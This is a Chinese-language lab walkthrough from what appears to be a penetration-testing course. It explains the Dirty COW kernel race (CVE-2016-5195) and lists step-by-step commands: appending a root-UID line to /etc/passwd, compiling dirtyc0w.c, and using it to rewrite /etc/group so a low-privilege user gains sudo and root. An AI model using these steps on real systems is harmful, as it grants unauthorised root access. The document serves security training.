实验等级:
中级
任务场景:
【任务场景】
小王接到磐石公司的邀请,对该公司内部网络进行渗透测试,经过对局域网被操作系统进行全面的维护中,发现了一台内核版本为4.2.0-27的Linux服务器,低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权利用这一漏洞,也可在其目标系统提升权限,甚至可能获得root权限。
任务分析:
【任务分析】
Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
预备知识:
【预备知识】
该漏洞编号为CVE-2016-5195,漏洞名称:脏牛(Dirty COW),其危害程度:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权,影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复了该漏洞,这个bug影响的内核版本从Linux-2.6.22到Linux-4.8,Linux-2.6.22是2007年发布的。
=========================================================================
任务实施:
E034-服务漏洞利用及加固-利用CVE-2016-5195漏洞实现Linux系统本地提权
任务环境说明:
服务器场景:p9_linux-11(用户名:test;密码:123456)
服务器场景操作系统:Linux 192.168.32.197
复现
使用命令whoami && id查看当前用户名称及用户权限编号:
whoami && id
使用命令uname -mrs来查看系统的内核版本号信息(-m 显示机器标识-r 显示操作系统的发行版号。 -s 显示系统名)。
uname -mrs
发现内核版本为4.2.0-27
使用命令cat /etc/passwd查看管理员用户
cat /etc/passwd
可以看到管理为root,尝试对passwd文件进行修改echo “ro0t:x:0:0:root/bin/bash” >> /etc/passwd ,提示权限被拒绝。
echo “ro0t:x:0:0:root/bin/bash” >> /etc/passwd
使用命令sudo adduser test1 添加新用户
sudo adduser test1
使用命令cd /home/roo/dirtycow.github.io/切换至POC利用代码所在的目录
cd /home/roo/dirtycow.github.io/
ls -l
使用命令gcc -pthread dirtyc0w.c -o dirty -lcrypt 利用gcc编译dirtycOw.c文件
gcc -pthread dirtyc0w.c -o dirty -lcrypt
切换到test1,查看test1用户信息,可以看到test1用户没有sudo权限,执行sudo su命令提示不在该分组,无法执行sudo命令
su test1
id
sudo su
使用命令./dirty /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test1/’ /etc/group)”执行exp修改/etc/group文件中的sudo分组成员,将test1加入到其中。
./dirty /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test1/’ /etc/group)”
先切换为test用户后,然后切换回来就可以看到test1用户已经拥有了sudo权限,执行sudo su ,输入test1用户的密码后就可以切换到root权限,提权成功。
su test
su test1
sudo su
先切换为test用户后,然后切换回来就可以看到test1用户已经拥有了sudo权限,执行sudo su ,输入test1用户的密码后就可以切换到root权限,提权成功。
实验结束,关闭虚拟机。